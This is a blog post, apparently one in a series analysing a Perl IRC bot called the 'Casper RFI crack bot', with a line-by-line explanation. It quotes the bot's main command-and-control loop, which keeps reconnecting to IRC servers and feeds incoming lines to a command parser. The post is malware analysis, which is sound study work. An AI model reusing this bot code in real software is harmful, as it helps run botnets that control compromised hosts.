Quantcast
Channel: Irregular Expressions » perl bot
Viewing all articles
Browse latest Browse all 10

Casper RFI crack bot – Part 12

$
0
0

So what is going on next,

my $line_temp;
while( 1 ) {
     while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
     delete($irc_servers{''}) if (defined($irc_servers{''}));
     &DCC::connections;
     my @ready = $sel_cliente->can_read(0.6);
     next unless(@ready);

     foreach $fh (@ready) {
          $IRC_cur_socket = $fh;
          $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
          $nread = sysread($fh, $msg, 4096);
          if ($nread == 0) {
               $sel_cliente->remove($fh);
               $fh->close;
               delete($irc_servers{$fh});
          }
          @lines = split (/\n/, $msg);
          for(my $c=0; $c<= $#lines; $c++) {
               $line = $lines[$c];
               $line=$line_temp.$line if ($line_temp);
               $line_temp='';
               $line =~ s/\r$//;
               unless ($c == $#lines) {
                    parse("$line");
               } else {
                    if ($#lines == 0) {
                         parse("$line");
                    } elsif ($lines[$c] =~ /\r$/) {
                         parse("$line");
                    } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                         parse("$line");
                    } else {
                         $line_temp = $line;
                    }
               }
          }
      }
 }

This is the main chunk of the script, the first ‘while(1)’ just keeps it going in the loop.

The next while loop is ‘while (!(keys(%irc_servers))) { conectar(“$nick”, “$servidor”, “$porta”); }’ , this is a while loop that ensures that it’s connected to an irc server. The ! is a negation and will call the conectar sub and login. It will keep running this going through the list of IRC servers until successful.

The rest of this simplified is a foreach loop that goes through the connected servers and pulls back the text and passes it off to the ‘parse’ sub that pulls out what to do with the commands.


Viewing all articles
Browse latest Browse all 10

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>